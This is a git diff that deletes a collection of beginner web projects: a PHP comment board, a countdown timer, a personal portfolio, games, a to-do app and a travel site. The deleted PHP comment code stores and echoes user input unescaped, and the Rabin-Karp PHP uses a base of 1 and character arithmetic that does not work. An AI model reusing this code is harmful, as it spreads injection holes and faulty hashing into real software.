- - - - -
- - - -

".$Name."

".$Comment."
".$old_comments; - fwrite($write, $string); - fclose($write); - fclose($old); - } - - $read = fopen("comments.txt", "r+t");//reading old comments - echo "

Comments
".fread($read, 1024); - fclose($read); - -?> - - - - - - - - - - - - diff --git a/Add Code Here/Websites/Message App/style.css b/Add Code Here/Websites/Message App/style.css deleted file mode 100644 index 03ba0ad553a..00000000000 --- a/Add Code Here/Websites/Message App/style.css +++ /dev/null @@ -1,53 +0,0 @@ -@import url("https://fonts.googleapis.com/css?family=Cabin|Lato"); -@import url("https://fonts.googleapis.com/css?family=Roboto:400,700&display=swap"); -html, -body { - margin: 0; - padding: 0; - color: #5e5e5e; - text-align: center; - background: black; - font-family: "Cabin", sans-serif; -} -.Input { - text-align: center; - width: 300px; - font: italic 20px Verdana; - border-width: 5px; - border-style: solid; - border-color: orange; -} -h1 { - text-align: center; - color: rgb(39, 60, 117); - background-color: rgb(255, 255, 255); -} -h2 { - font-style: italic; - text-align: center; - font-family: Georgia, "Times New Roman", Times, serif; - color: crimson; -} -p { - text-align: center; - font-size: 200%; -} -h4 { - color: antiquewhite; -} -.Submit { - color: blanchedalmond; - background-color: #273c75; - padding: 10px 15px; - border: none; - outline: none; - border-radius: 5px; - text-transform: uppercase; - font-weight: bold; - cursor: pointer; -} -textarea { - width: 900px; - height: 40px; - resize: none; -} diff --git a/Add Code Here/Websites/New Year Count Down/Images/bg1.jpg b/Add Code Here/Websites/New Year Count Down/Images/bg1.jpg deleted file mode 100644 index d8466af3f74..00000000000 Binary files a/Add Code Here/Websites/New Year Count Down/Images/bg1.jpg and /dev/null differ diff --git a/Add Code Here/Websites/New Year Count Down/index.html b/Add Code Here/Websites/New Year Count Down/index.html deleted file mode 100644 index 72f4520d7df..00000000000 --- a/Add Code Here/Websites/New Year Count Down/index.html +++ /dev/null @@ -1,35 +0,0 @@ - - - - - - Document - - - - -

New Years Eve

-
- -
-

0

- Days -
-
-

0

- Hours -
-
-

0

- Minutes -
-
-

0

- Seconds -
- - -
- - - diff --git a/Add Code Here/Websites/New Year Count Down/script.js b/Add Code Here/Websites/New Year Count Down/script.js deleted file mode 100644 index ec303b56cb2..00000000000 --- a/Add Code Here/Websites/New Year Count Down/script.js +++ /dev/null @@ -1,36 +0,0 @@ -let daysEl = document.getElementById('days'); -let hourEl = document.getElementById('hours'); -let minEl = document.getElementById('mins'); -let secEl = document.getElementById('sec'); - - -function countdown(){ - -var currentTime= new Date().getTime(); // Curent Time -const newYear = new Date("dec 31, 2022 23:59:59").getTime(); // destination time - -var difference = newYear - currentTime; -// you have got the answere but in milliseconds - -var seconds,hours,days,minutes; -seconds = Math.floor((difference%(1000*60)/1000)); -minutes = Math.floor(difference%(1000*60*60)/(1000*60)); -hours = Math.floor((difference%(1000*60*60*24))/(1000*60*60)); -days = Math.floor(difference/(1000*60*60*24)); - -daysEl.innerHTML = days; - hourEl.innerHTML =Timeformat(hours); -minEl.innerHTML = Timeformat(minutes); -secEl.innerHTML = Timeformat(seconds); - -}; - -function Timeformat (time) { - if(time < 10) - return (`0${time}`); - else - return time; -} - -setInterval(countdown,1000) //Updtaes the function every 1 sec -// 1000ms = 1 sec diff --git a/Add Code Here/Websites/New Year Count Down/style.css b/Add Code Here/Websites/New Year Count Down/style.css deleted file mode 100644 index 2c5a7cb4a28..00000000000 --- a/Add Code Here/Websites/New Year Count Down/style.css +++ /dev/null @@ -1,48 +0,0 @@ -@import url('https://fonts.googleapis.com/css2?family=Poppins:ital,wght@0,400;1,200&display=swap'); -@import url('https://fonts.googleapis.com/css2?family=Ubuntu:ital,wght@1,500&display=swap'); - - - - -*{ - box-sizing: border-box; -} - -body{ - margin: 0px; - background: url('Images/bg1.jpg') no-repeat; - background-size: cover; - /* background-position: center center; */ - min-height: 100vh; - font-family: 'Poppins', sans-serif; - display: flex; - flex-direction: column; - align-items: center; - -} -h1{ - - font-size: 4.2rem; - font-weight: 400; - margin-top: 5rem; -} - -.whole-elem{ - text-align: center; -} - -.con{ - display: flex; - /* border: 5px solid #ffffff9c; - padding: 15px 70px ; */ -} - -.big-text{ - text-align: center; - font-size: 6rem; - margin: 0px 60px; -} - -.whole-elem span{ - font-size: 1.7rem; -} \ No newline at end of file diff --git a/Add Code Here/Websites/Portfolio Website/assets/Food.jpg b/Add Code Here/Websites/Portfolio Website/assets/Food.jpg deleted file mode 100644 index 9212b7f26dd..00000000000 Binary files a/Add Code Here/Websites/Portfolio Website/assets/Food.jpg and /dev/null differ diff --git a/Add Code Here/Websites/Portfolio Website/assets/MxeJJN.default.webp b/Add Code Here/Websites/Portfolio Website/assets/MxeJJN.default.webp deleted file mode 100644 index 574466a8d1c..00000000000 Binary files a/Add Code Here/Websites/Portfolio Website/assets/MxeJJN.default.webp and /dev/null differ diff --git a/Add Code Here/Websites/Portfolio Website/assets/Small CSS.jpg b/Add Code Here/Websites/Portfolio Website/assets/Small CSS.jpg deleted file mode 100644 index 8a69a35bc64..00000000000 Binary files a/Add Code Here/Websites/Portfolio Website/assets/Small CSS.jpg and /dev/null differ diff --git a/Add Code Here/Websites/Portfolio Website/assets/Weather.jpg b/Add Code Here/Websites/Portfolio Website/assets/Weather.jpg deleted file mode 100644 index 246160633ca..00000000000 Binary files a/Add Code Here/Websites/Portfolio Website/assets/Weather.jpg and /dev/null differ diff --git a/Add Code Here/Websites/Portfolio Website/assets/WhatsApp Im.jpeg b/Add Code Here/Websites/Portfolio Website/assets/WhatsApp Im.jpeg deleted file mode 100644 index f93703df687..00000000000 Binary files a/Add Code Here/Websites/Portfolio Website/assets/WhatsApp Im.jpeg and /dev/null differ diff --git a/Add Code Here/Websites/Portfolio Website/assets/building.jpg b/Add Code Here/Websites/Portfolio Website/assets/building.jpg deleted file mode 100644 index c1140218e53..00000000000 Binary files a/Add Code Here/Websites/Portfolio Website/assets/building.jpg and /dev/null differ diff --git a/Add Code Here/Websites/Portfolio Website/assets/script/script.js b/Add Code Here/Websites/Portfolio Website/assets/script/script.js deleted file mode 100644 index 4bd918d6325..00000000000 --- a/Add Code Here/Websites/Portfolio Website/assets/script/script.js +++ /dev/null @@ -1,51 +0,0 @@ -// Preloader -window.addEventListener("load",function(){ - document.querySelector(".preloader").classList.add("opacity-0"); - setTimeout(function(){ - document.querySelector(".preloader").style.display="none"; - },1000) -}) -// Aside Navbar -const nav=document.querySelector(".nav"), -navList=nav.querySelectorAll("li"), -totalNavList=navList.length, -allSection=document.querySelectorAll(".section"), -totalSection=allSection.length; -for(let i=0;i{ - asideSectionTogglerBtn(); -}) -function asideSectionTogglerBtn(){ - aside.classList.toggle("open") - navTogglerBtn.classList.toggle("open"); - for(let i=0;i - - - - Anshu pandey Portfolio - - - - - - - - - - - - - - - -
-
-
-
- - -
- -
- - - -
- - - - - - - -
- © 2021 Anshu Pandey -
- -
-
- - -
- -
-
-
- anshu's img -

Anshu Pandey

-

I'm a Web Developer

- -
-
-
- - -
-
-
-
-

About Me

-
-
-
-
-
-
-

Heyaaa!!

-

My name is Anshu Pandey. I am currently pursuing my Bachelor Of Technology in Electrical and Communication Engineering - from DSCE Bangalore. I am from Lucknow, Uttar Pradesh. Currently, I am looking for opportunities as a front end web developer. - I have worked with many Frontend libraries like Anime.js, scrollmagic.io etc. I have also done some projects in backend development - using Node js , Express js and MongoDB. -

-
-
-
-
-
-
-

Birthday : 19 Oct 2001

-
-
-

City : Lucknow , Uttar Pradesh

-
-
-

Mail : anshu191001@gmail.com

-
-
-

Hobbies : Coding, Videography & Musical Intruments

-
-
- -
-
-
-

Languages

-
-

C

-
-
-
- 60% -
-
-
-
-

C++

-
-
-
- 100% -
-
-
-
-

JavaScript

-
-
-
- 100% -
-
-
-
-
-
-
-

IT Constructs

-
-

Data Structures

-
-
-
- 70% -
-
-
-
-

Algorithms

-
-
-
- 30% -
-
-
-
-

Problem Solving

-
-
-
- 70% -
-
-
-
-
-
-
-

Web Technologies

-
-

HTML

-
-
-
- 80% -
-
-
-
-

CSS

-
-
-
- 90% -
-
-
-
-

REST API

-
-
-
- 90% -
-
-
-
-

FIGMA

-
-
-
- 90% -
-
-
-
-

Node js

-
-
-
- 90% -
-
-
-
-
-
-
-
-

Education

-
-
-
- -
-
- -
-
- - 2020-2024 -
-

Dayananda Sagar College of Engineering, Bangalore.

-

Bachelor of Technology, ECE. -
- Scored an aggregate of 9.5 CGPA. -

-
- - -
-
- -
-
- - 2009-2019 -
-

Army Public School, Lucknow, Uttar Pradesh.

-

Computer Science & Mathematics. -
- Secured an aggregate of 85.6% in class 12th CBSE BOARDS -
- Secured 10 CGPA in class 10th -

-
- - -
-
- -
-
- - 2007-2009 -
-

Army Public School, Bathinda, Punjab.

-
- -
-
-
-
-
-

Experience

-
-
-
- -
-
- -
-
- - April, 2021 - May, 2021 -
-

Sparks Foundation

-

Worked with technologies like HTML, CSS, JavaScript, Node js, Mongo DB etc. -
- Made a Banking System for Transaction of Money for a dummy Database -

-
- -
-
-
-
-
-
-
-
-
- - -
-
-
-
-

My Projects

-
-
-
- -
-
-
- -
-
-

Weather App

-

Used HTML , CSS , Node js , Express js to make a Weather Website which tells - the temperature of different cities. It fetches the data from Open Weather api and displays it accordingly. - It is my first Complete Dynamic Backend Project -

- -
-
-
-
-
-
- -
-
-

Fylo Landing Page

-

Designed it in FIGMA and then to a Web Page. This Fylo Landing page follows good - UI/UX design patterns. good amount of HTML and CSS has been used into this Web Page. I followed Minimilistic Design - approach while creating this Page. Do take a Look !! -

- -
-
-
-
-
-
- -
-
-

A Restaurent Website

-

- This was my first project while learning Frontend Development. I developed this page by seeing Tutorial of CodewithHarry. -

- -
-
-
-
-
-
- -
-
-

Small CSS Projects

-

- These are small and cool CSS and Javascript projects whih make your Website look Cool and Awesome. - It Includes Projects wich can be implemented in Gallery Section , Website Scroll Animations , Forms and Login - Pages etc -

- -
-
-
-
-
-
- -
-
-

iEDUCATE Theme Page

-

- Landing Page of a Dummy Website named iEducate. Used HTML and CSS to build a Cool looking landing Page - which got the designs according to Modern World. -

- -
-
-
-
-
-
- - -
-
-
-
-

Contact Me

-
-
-
- -
-
- -
-

anshu191001@gmail.com

-
- - -
-
- -
-

Bangalore

-
- -
- -
-
- Let's get in touch -
-
-
- -
- -
-
- - -
-
-
- -
- - - - - - - - - - diff --git a/Add Code Here/Websites/RabinKarp.php b/Add Code Here/Websites/RabinKarp.php deleted file mode 100644 index 0850781fa61..00000000000 --- a/Add Code Here/Websites/RabinKarp.php +++ /dev/null @@ -1,83 +0,0 @@ - pattern - txt -> text - q -> A prime number -*/ -function search($pat, $txt, $q) -{ - $M = strlen($pat); - $N = strlen($txt); - $i; $j; - $p = 0; // hash value - // for pattern - $t = 0; // hash value - // for txt - $h = 1; - $d =1; - // The value of h would - // be "pow(d, M-1)%q" - for ($i = 0; $i < $M - 1; $i++) - $h = ($h * $d) % $q; - // Calculate the hash value - // of pattern and first - // window of text - for ($i = 0; $i < $M; $i++) - { - $p = ($d * $p + $pat[$i]) % $q; - $t = ($d * $t + $txt[$i]) % $q; - } - // Slide the pattern over - // text one by one - for ($i = 0; $i <= $N - $M; $i++) - { - // Check the hash values of - // current window of text - // and pattern. If the hash - // values match then only - // check for characters on - // by one - if ($p == $t) - { - // Check for characters - // one by one - for ($j = 0; $j < $M; $j++) - { - if ($txt[$i + $j] != $pat[$j]) - break; - } - // if p == t and pat[0...M-1] = - // txt[i, i+1, ...i+M-1] - if ($j == $M) - echo "Pattern found at index ", - $i, "\n"; - } - // Calculate hash value for - // next window of text: - // Remove leading digit, - // add trailing digit - if ($i < $N - $M) - { - $t = ($d * ($t - $txt[$i] * - $h) + $txt[$i + - $M]) % $q; - // We might get negative - // value of t, converting - // it to positive - if ($t < 0) - $t = ($t + $q); - } - } -} -// Driver Code -$txt = "AIR N AIR"; -$pat = "AIR"; -$q = 101; // A prime number -search($pat, $txt, $q); - -?> diff --git a/Add Code Here/Websites/Simons Game/README.md b/Add Code Here/Websites/Simons Game/README.md deleted file mode 100644 index 061d37495bd..00000000000 --- a/Add Code Here/Websites/Simons Game/README.md +++ /dev/null @@ -1 +0,0 @@ -# Simon-Game \ No newline at end of file diff --git a/Add Code Here/Websites/Simons Game/index.html b/Add Code Here/Websites/Simons Game/index.html deleted file mode 100644 index b990b01351b..00000000000 --- a/Add Code Here/Websites/Simons Game/index.html +++ /dev/null @@ -1,45 +0,0 @@ - - - - - - Simon - - - - - -

Press A Key to Start

-
-
- -
- -
- -
- -
-
- -
- -
- -
-
- -
- -
- -
- - - - - - diff --git a/Add Code Here/Websites/Simons Game/index.js b/Add Code Here/Websites/Simons Game/index.js deleted file mode 100644 index e138c9c1dca..00000000000 --- a/Add Code Here/Websites/Simons Game/index.js +++ /dev/null @@ -1,78 +0,0 @@ -var buttonColours = ["red", "blue", "green", "yellow"]; - -var gamePattern = []; -var userClickedPattern = []; - -var started = false; -var level = 0; - -$(document).keypress(function() { - if (!started) { - $("#level-title").text("Level " + level); - nextSequence(); - started = true; - } -}); - -$(".btn").click(function() { - - var userChosenColour = $(this).attr("id"); - userClickedPattern.push(userChosenColour); - - playSound(userChosenColour); - animatePress(userChosenColour); - - checkAnswer(userClickedPattern.length-1); -}); - -function checkAnswer(currentLevel) { - - if (gamePattern[currentLevel] === userClickedPattern[currentLevel]) { - if (userClickedPattern.length === gamePattern.length){ - setTimeout(function () { - nextSequence(); - }, 1000); - } - } else { - playSound("wrong"); - $("body").addClass("game-over"); - $("#level-title").text("Game Over, Press Any Key to Restart"); - - setTimeout(function () { - $("body").removeClass("game-over"); - }, 200); - - startOver(); - } -} - - -function nextSequence() { - userClickedPattern = []; - level++; - $("#level-title").text("Level " + level); - var randomNumber = Math.floor(Math.random() * 4); - var randomChosenColour = buttonColours[randomNumber]; - gamePattern.push(randomChosenColour); - - $("#" + randomChosenColour).fadeIn(100).fadeOut(100).fadeIn(100); - playSound(randomChosenColour); -} - -function animatePress(currentColor) { - $("#" + currentColor).addClass("pressed"); - setTimeout(function () { - $("#" + currentColor).removeClass("pressed"); - }, 100); -} - -function playSound(name) { - var audio = new Audio("sounds/" + name + ".mp3"); - audio.play(); -} - -function startOver() { - level = 0; - gamePattern = []; - started = false; -} \ No newline at end of file diff --git a/Add Code Here/Websites/Simons Game/sounds/blue.mp3 b/Add Code Here/Websites/Simons Game/sounds/blue.mp3 deleted file mode 100644 index ae68cbae3d5..00000000000 Binary files a/Add Code Here/Websites/Simons Game/sounds/blue.mp3 and /dev/null differ diff --git a/Add Code Here/Websites/Simons Game/sounds/green.mp3 b/Add Code Here/Websites/Simons Game/sounds/green.mp3 deleted file mode 100644 index 896b9f968e8..00000000000 Binary files a/Add Code Here/Websites/Simons Game/sounds/green.mp3 and /dev/null differ diff --git a/Add Code Here/Websites/Simons Game/sounds/red.mp3 b/Add Code Here/Websites/Simons Game/sounds/red.mp3 deleted file mode 100644 index e7738ae95ea..00000000000 Binary files a/Add Code Here/Websites/Simons Game/sounds/red.mp3 and /dev/null differ diff --git a/Add Code Here/Websites/Simons Game/sounds/wrong.mp3 b/Add Code Here/Websites/Simons Game/sounds/wrong.mp3 deleted file mode 100644 index 5ece8fd768d..00000000000 Binary files a/Add Code Here/Websites/Simons Game/sounds/wrong.mp3 and /dev/null differ diff --git a/Add Code Here/Websites/Simons Game/sounds/yellow.mp3 b/Add Code Here/Websites/Simons Game/sounds/yellow.mp3 deleted file mode 100644 index b360c086d39..00000000000 Binary files a/Add Code Here/Websites/Simons Game/sounds/yellow.mp3 and /dev/null differ diff --git a/Add Code Here/Websites/Simons Game/styles.css b/Add Code Here/Websites/Simons Game/styles.css deleted file mode 100644 index 6edc5390f43..00000000000 --- a/Add Code Here/Websites/Simons Game/styles.css +++ /dev/null @@ -1,53 +0,0 @@ -body { - text-align: center; - background-color: #011F3F; -} - -#level-title { - font-family: 'Press Start 2P', cursive; - font-size: 3rem; - margin: 5%; - color: #FEF2BF; -} - -.container { - display: block; - width: 50%; - margin: auto; - -} - -.btn { - margin: 25px; - display: inline-block; - height: 200px; - width: 200px; - border: 10px solid black; - border-radius: 20%; -} - -.game-over { - background-color: red; - opacity: 0.8; -} - -.red { - background-color: red; -} - -.green { - background-color: green; -} - -.blue { - background-color: blue; -} - -.yellow { - background-color: yellow; -} - -.pressed { - box-shadow: 0 0 20px white; - background-color: grey; -} diff --git a/Add Code Here/Websites/Snake Game/1.html b/Add Code Here/Websites/Snake Game/1.html deleted file mode 100644 index 4108160b891..00000000000 --- a/Add Code Here/Websites/Snake Game/1.html +++ /dev/null @@ -1,198 +0,0 @@ - - - - Snake Game - - - - -
0
- - - - - - - \ No newline at end of file diff --git a/Add Code Here/Websites/Snake Game/1.js b/Add Code Here/Websites/Snake Game/1.js deleted file mode 100644 index 970b786c32d..00000000000 --- a/Add Code Here/Websites/Snake Game/1.js +++ /dev/null @@ -1,19 +0,0 @@ -document.addEventListener("DOMContentLoaded", function () { - pTag = document.querySelector("div"); - newVal = document.createElement("p"); - newVal.innerHTML = ''; - pTag.appendChild(newVal); - }); - // Async Tests Example - /* - window.onModulesLoaded = new Promise( function( resolve, reject ) { - setTimeout(function() { - pTag = document.querySelector("div"); - pTag.innerHTML = ''; - newVal = document.createElement("p"); - newVal.innerHTML = 'Hello World'; - pTag.appendChild(newVal); - resolve(); - }, 100) - }); - */ \ No newline at end of file diff --git a/Add Code Here/Websites/Split Landing Page/Images/Ps5.png b/Add Code Here/Websites/Split Landing Page/Images/Ps5.png deleted file mode 100644 index 3627fffc6c3..00000000000 Binary files a/Add Code Here/Websites/Split Landing Page/Images/Ps5.png and /dev/null differ diff --git a/Add Code Here/Websites/Split Landing Page/Images/grp2.jpg b/Add Code Here/Websites/Split Landing Page/Images/grp2.jpg deleted file mode 100644 index 75dde172b5c..00000000000 Binary files a/Add Code Here/Websites/Split Landing Page/Images/grp2.jpg and /dev/null differ diff --git a/Add Code Here/Websites/Split Landing Page/index.html b/Add Code Here/Websites/Split Landing Page/index.html deleted file mode 100644 index 3e418381571..00000000000 --- a/Add Code Here/Websites/Split Landing Page/index.html +++ /dev/null @@ -1,23 +0,0 @@ - - - - - - - Play station 5 - - - -
- -
- Buy Now -
- - -
- - - diff --git a/Add Code Here/Websites/Split Landing Page/script.js b/Add Code Here/Websites/Split Landing Page/script.js deleted file mode 100644 index 1d90ea605fc..00000000000 --- a/Add Code Here/Websites/Split Landing Page/script.js +++ /dev/null @@ -1,17 +0,0 @@ -const outer = document.getElementById('outer'); -const right = document.getElementById('right'); -const left = document.getElementById('left'); - -left.addEventListener('mouseover',()=>{ - outer.classList.add('hover-left'); -}) -left.addEventListener('mouseleave',()=>{ - outer.classList.remove('hover-left'); -}) - -right.addEventListener('mouseover',()=>{ - outer.classList.add('hover-right'); -}) -right.addEventListener('mouseleave',()=>{ - outer.classList.remove('hover-right'); -}) \ No newline at end of file diff --git a/Add Code Here/Websites/Split Landing Page/style.css b/Add Code Here/Websites/Split Landing Page/style.css deleted file mode 100644 index 14ce25fb4b9..00000000000 --- a/Add Code Here/Websites/Split Landing Page/style.css +++ /dev/null @@ -1,111 +0,0 @@ - @import url('https://fonts.googleapis.com/css2?family=Nunito+Sans:ital,wght@1,600&display=swap'); - - - - *{ - margin: 0px; - box-sizing: border-box; - } - body{ - font-family: 'Nunito Sans', sans-serif; - overflow: hidden; - } - - .outer{ - display: flex; - align-items: center; - justify-content: center; - height: 100vh; - width: 100vw; - } - .outer.hover-left .left{ - width: 75%; - } - - .outer.hover-left .right{ - width: 25%; - } - - .outer.hover-right .right{ - width: 75%; - } - .outer.hover-right .left{ - width: 25%; - } - - - /* ----------------------------------------------------------Left (PS5)---------------------------------------------------- */ - - .left{ - height: inherit; - width: 50%; - transition: all 1.3s ease; - background: rgba(80, 60, 240, 0.6); - display: flex; - justify-content: center; - align-items: center; - } - .left::before{ - content: ''; - position: absolute; - left: 0; - top: 0; - height: inherit; - width: inherit; - background-image: url(./Images/Ps5.png); - background-repeat: no-repeat; - background-size: auto 100%; - background-position: center ; - z-index: -1; - } - - - /* ---------------------------------------------------Right---------------------------------------------- */ - - .right{ - height: inherit; - width: 50%; - transition: all 1.3s ease; - /* border-left: 2px solid black; */ - background: rgb(23 36 26 / 80%); - display: flex; - justify-content: center; - align-items: center; - - } - .right::before{ - content: ''; - position: absolute; - right: 0; - top: 0; - height: inherit; - width: inherit; - background-image: url(./Images/grp2.jpg); - background-repeat: no-repeat; - background-size: auto 100%; - background-position: center; - z-index: -1; - /* background-position: center; */ - } - /* ------------------------------------------------------------------------------------------------ */ - a{ - opacity: 0; - text-decoration: none; - list-style: none; - color: white; - font-size: 30px; - text-transform: uppercase; - padding: 20px 20px; - border: 3px solid white; - transition: all 1.3s ease; - } - - - .outer.hover-right .right a{ - opacity: 1; - } - - - .outer.hover-left .left a{ - opacity: 1; - } \ No newline at end of file diff --git a/Add Code Here/Websites/Target Game/TargetGame.html b/Add Code Here/Websites/Target Game/TargetGame.html deleted file mode 100644 index c74a7a69d68..00000000000 --- a/Add Code Here/Websites/Target Game/TargetGame.html +++ /dev/null @@ -1,141 +0,0 @@ - - - - - - - - Document - - - - - -
-
-
-
- - - - - \ No newline at end of file diff --git a/Add Code Here/Websites/Todo Application/img/favicon.png b/Add Code Here/Websites/Todo Application/img/favicon.png deleted file mode 100644 index 027bd679b0d..00000000000 Binary files a/Add Code Here/Websites/Todo Application/img/favicon.png and /dev/null differ diff --git a/Add Code Here/Websites/Todo Application/img/pic.png b/Add Code Here/Websites/Todo Application/img/pic.png deleted file mode 100644 index d9981d1075d..00000000000 Binary files a/Add Code Here/Websites/Todo Application/img/pic.png and /dev/null differ diff --git a/Add Code Here/Websites/Todo Application/index.html b/Add Code Here/Websites/Todo Application/index.html deleted file mode 100644 index 9c02d433761..00000000000 --- a/Add Code Here/Websites/Todo Application/index.html +++ /dev/null @@ -1,22 +0,0 @@ - - - - - - To-Do - - - - -

To-Do

-
-
-
-
-
- -
-
- - - \ No newline at end of file diff --git a/Add Code Here/Websites/Todo Application/main.js b/Add Code Here/Websites/Todo Application/main.js deleted file mode 100644 index 23b8b8e8984..00000000000 --- a/Add Code Here/Websites/Todo Application/main.js +++ /dev/null @@ -1,49 +0,0 @@ -if (window.localStorage.getItem('id') == undefined) { - window.localStorage.setItem('id',1); -} -function send(){ - var task = document.getElementById("task").value; - var des = document.getElementById("des").value; - var id = window.localStorage.getItem("id"); - if(task==""||des==""){ - window.alert("Please fill the empty blanks") - } - else { - window.localStorage.setItem("task"+ id, task); - window.localStorage.setItem("des"+ id, des); - compo(task,des,id); - id++; - window.localStorage.setItem("id",id); - document.getElementById("task").value = ""; - document.getElementById("des").value = ""; - } -} -function compo(task,des,id){ - var div = document.createElement("div"); - div.id = id; - var h2 = document.createElement("h2"); - var hr = document.createElement("hr"); - var p = document.createElement("p"); - var button = document.createElement("button"); - h2.innerHTML = task; - p.innerHTML = des; - button.innerHTML = "Completed"; - button.onclick = function(){ - document.getElementById(id).style.display = "none"; - window.localStorage.removeItem("task" + id); - window.localStorage.removeItem("des" + id); - } - div.append(h2,hr,p,button); - document.getElementById("components").appendChild(div); -} -function loaded() { - for(i=1; i<=100; i++) { - if(window.localStorage.getItem("task"+i)== undefined){ - continue; - } - var task = window.localStorage.getItem("task"+i); - var des = window.localStorage.getItem("des"+i); - compo(task, des, i); - } - -} \ No newline at end of file diff --git a/Add Code Here/Websites/Todo Application/style.css b/Add Code Here/Websites/Todo Application/style.css deleted file mode 100644 index d2fa085112a..00000000000 --- a/Add Code Here/Websites/Todo Application/style.css +++ /dev/null @@ -1,88 +0,0 @@ -*{ - padding: 0; - margin: 0; -} -body { - background-image: url(img/pic.png); - font-family: sans-serif; -} -div{ - padding: 15px 25px; - margin: auto; - margin-top: 30px; - width: 400px; - border-radius: 15px; - background-color: #e78187; - box-shadow: 5px 8px 10px 3px rgba(1, 0, 0, 0.4); -} -h1 { - position: -webkit-sticky; /* Safari */ - position: sticky; - top: 0; - text-align: center; - margin: auto; - margin-top: 20px; - width: 130px; - border-radius: 10px; - background-color: hotpink; - color: purple; -} -label { - font-size: 30px; - font-weight: bold; - color: purple; -} -input, textarea{ - padding: 10px; - border-radius: 5px; - background-color: pink; - font-size: 20px; - margin: 20px 0; - width: 85%; - border: none; -} -input:focus, textarea:focus { - outline: none; -} -button { - padding: 10px 10px; - color: purple; - background-color: pink; - margin: 13px 0; - padding-bottom: 5px; - font-size: 22px; - border-radius: 10px; - border: none; -} -button:hover, button:focus { - background-color: lightgrey; - transition: 0.3s; - cursor: pointer; - outline: none; -} -#components { - margin-bottom: 20px; - display: flex; - justify-content: center; - gap: 20px 10px; - flex-wrap: wrap; -} -#components div{ - width: 350px; -} -#components h2{ - font-weight: 500; - font-size: 26px; - word-wrap: break-word; - color: purple; -} -#components p { - word-wrap: break-word; - font-size: 20px; - font-weight: 300; - color: purple; -} -#components hr { - margin: 16px 0; - color: purple; -} diff --git a/Add Code Here/Websites/Travel Website with Video background/CNAME b/Add Code Here/Websites/Travel Website with Video background/CNAME deleted file mode 100644 index 5e7a92f8945..00000000000 --- a/Add Code Here/Websites/Travel Website with Video background/CNAME +++ /dev/null @@ -1 +0,0 @@ -travaxo.xyz \ No newline at end of file diff --git a/Add Code Here/Websites/Travel Website with Video background/README.md b/Add Code Here/Websites/Travel Website with Video background/README.md deleted file mode 100644 index a35c0bfac7b..00000000000 --- a/Add Code Here/Websites/Travel Website with Video background/README.md +++ /dev/null @@ -1 +0,0 @@ -# travaxo \ No newline at end of file diff --git a/Add Code Here/Websites/Travel Website with Video background/about.html b/Add Code Here/Websites/Travel Website with Video background/about.html deleted file mode 100644 index 8f227f4ef3e..00000000000 --- a/Add Code Here/Websites/Travel Website with Video background/about.html +++ /dev/null @@ -1,84 +0,0 @@ - - - - - - - - - About Us - - - -
- Travaxo - - -
-
-
- -

Gunin Anand | Anindita Bist

-

Chandigarh,India.

-
-
-

About

-

ATL Tinkerpreneur 2022 submission by Gunin Anand and Anindita Bist

-

Idea

-

Idea behind creating this product was to ease the process of selecting an itinerary and save time and resources which can be further used.

- -

Improvement

-

Add support for foreign destinations and archaelogical sites, Custom itinerary planner which would be a paid service and exclusive itineraries made by us.

-

Contact

-

admin@travaxo.xyz

-
-
- - - diff --git a/Add Code Here/Websites/Travel Website with Video background/andaman.html b/Add Code Here/Websites/Travel Website with Video background/andaman.html deleted file mode 100644 index 2cca58685ff..00000000000 --- a/Add Code Here/Websites/Travel Website with Video background/andaman.html +++ /dev/null @@ -1,78 +0,0 @@ - - - - - - - - - Andaman Nicobar - - - -
- Travaxo - - -
-
-
- -

Andaman & Nicobar Islands

-

India.

-
-
-

Recommended Itinerary

-

Day 1
Andaman Islands Arrival: Port Blair
Circular Jail visit
Day 2
Ross Island & North Bay Island
Day 3 & 4
Havelock Island
Radhanagar Beach
Kalapathar Beach
Elephant Beach
Day 5
Neil Island
Day 6
Breakfast
End Of Trip!

-

Need Custom Itineraries?

-

contact us at admin@travaxo.xyz

-
-
- - - diff --git a/Add Code Here/Websites/Travel Website with Video background/camping.html b/Add Code Here/Websites/Travel Website with Video background/camping.html deleted file mode 100644 index ab29b3ef4e7..00000000000 --- a/Add Code Here/Websites/Travel Website with Video background/camping.html +++ /dev/null @@ -1,78 +0,0 @@ - - - - - - - - - Camping - - - -
- Travaxo - - -
-
-
- -

Camping

-

India

-
-
-

Recommended Itinerary

-

Destination 1
Mussoorie: Top Tibba Trek

Hike up to the peak of Top Tibba with a professional guide to lead the way with this hiking experience. You'll make your way through the forest and up to the peak, with stops along the way to take in the scenery. You may even spot wildlife along the way, as a variety of birds along with deer, foxes, and even leopards are known to live in the surrounding area.


Destination 2
Triund Trek

Triund is a small hill station situated in the foothills of Dhauladhar Ranges in the Kangra district of Himachal. It lies near Dharamshala and is located at an altitude of around 2850 m. This trek provides majestic views of the hills all around. One gets mesmerised by its heights and the sceneries it provides.


Destination 3
Munnar Hiking

Spend a morning hiking among tea pinnations with a professional guide with this tour. You'll make your way through forests, spice farms, and fields of tea, with a stop for a snack along the way. On clear days, you'll even get the chance to see Anaimudi, South India's highest peak.

-

Need Custom Itineraries?

-

contact us at admin@travaxo.xyz

-
-
- - - diff --git a/Add Code Here/Websites/Travel Website with Video background/close.png b/Add Code Here/Websites/Travel Website with Video background/close.png deleted file mode 100644 index e5a84df90dc..00000000000 Binary files a/Add Code Here/Websites/Travel Website with Video background/close.png and /dev/null differ diff --git a/Add Code Here/Websites/Travel Website with Video background/custom.html b/Add Code Here/Websites/Travel Website with Video background/custom.html deleted file mode 100644 index ca125316409..00000000000 --- a/Add Code Here/Websites/Travel Website with Video background/custom.html +++ /dev/null @@ -1,82 +0,0 @@ - - - - - - - - - Custom Itinerary - - - -
- Travaxo - - -
-
-
- -

Custom Itineraries

-

Travaxo

-
-
-

Custom Itineraries

-

Although are itineraries are made by taking various factors into consideration, Personal preferences still differ from person to person.That is the reason we introduced custom made itineraries which are made by our travel experts specially for you at a very affordable cost

-

Procedure

-

Applying for a custom itinerary is very simple. All you need to do is send a mail to admin@travaxo.xyz requesting a custom itinerary and we will get back to you to start planning your very own Itinerary.

- -

Contact

-

admin@travaxo.xyz

-
-
- - - diff --git a/Add Code Here/Websites/Travel Website with Video background/index.html b/Add Code Here/Websites/Travel Website with Video background/index.html deleted file mode 100644 index 3125fff1479..00000000000 --- a/Add Code Here/Websites/Travel Website with Video background/index.html +++ /dev/null @@ -1,110 +0,0 @@ - - - - - - Travaxo - - - - - -
- Travaxo - - -
- -
- - - - -
-

Coral
Islands

-

